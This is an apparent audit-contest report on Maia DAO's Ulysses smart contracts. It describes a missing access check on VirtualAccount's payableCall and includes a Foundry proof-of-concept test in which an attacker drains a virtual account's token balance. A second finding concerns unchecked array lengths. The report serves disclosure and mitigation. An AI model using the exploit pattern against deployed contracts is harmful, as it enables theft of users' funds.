Maia DAO - Ulysses - 0xRstStn's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85-L108

Vulnerability details

Impact

Function payableCall within contract VirtualAccount.sol does not have any access control and can be invoked by anyone. This function can be invoked without sending any ETH (i.e. msg.value = 0) so it will effectively behave as function call. That way, the access control stablished by modifier requiresApprovedCaller in function call is bypassed. By using payableCall, an attacker can drain all of a user's funds.

Proof of Concept

Let's consider a virtual account which have some token balance. For convenience, we will use the test testMulticallSignedNoOutputDepositSingle already defined in MulticallRootRouterTest.t.sol. As can be seen, at the end of this test, the virtual account holds 50e18 of newAvaxAssetGlobalAddress. The following test can be added to MulticallRootRouterTest.t.sol (IVirtualAccount.sol needs to be imported to be able to use struct PayableCall):

function testTransferAttack() public {
    address attacker = hevm.addr(123456);
    testMulticallSignedNoOutputDepositSingle();
    PayableCall[] memory payablecallData = new PayableCall[](1);
    payablecallData[0] = PayableCall({
        target: newAvaxAssetGlobalAddress,
        callData: abi.encodeWithSignature(
            "transfer(address,uint256)", attacker, MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount)), 
        value: 0
    });
    hevm.startPrank(attacker);
    assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount), 50 ether);
    assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 0);

    rootPort.fetchVirtualAccount(address(this)).payableCall(payablecallData);

    assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount), 0);
    assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 50 ether);

    hevm.stopPrank();
}

Tools Used

Foundry

Recommended Mitigation Steps

Add access control to function payableCall

Assessed type

Access Control

It is not checked that different arrays have the same length.

Description

In contract BaseBranchRouter.sol, in function callOutAndBridgeMultiple, the argument _dParams is of the class DepositMultipleInput which is a structure that consists of several arrays. Function callOutAndBridgeMultiple invokes _transferAndApproveMultipleTokens which contains a for loop that takes _hTokens.length as the number of iterations of the loop: https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L186-L199

Impact

If the other arrays have different lengths, the function would revert.

Recommended Mitigation

Check that the lengths of the different arrays match as done in other functions as in _createDepositMultiple in contract BranchBridgeAgent.sol https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L860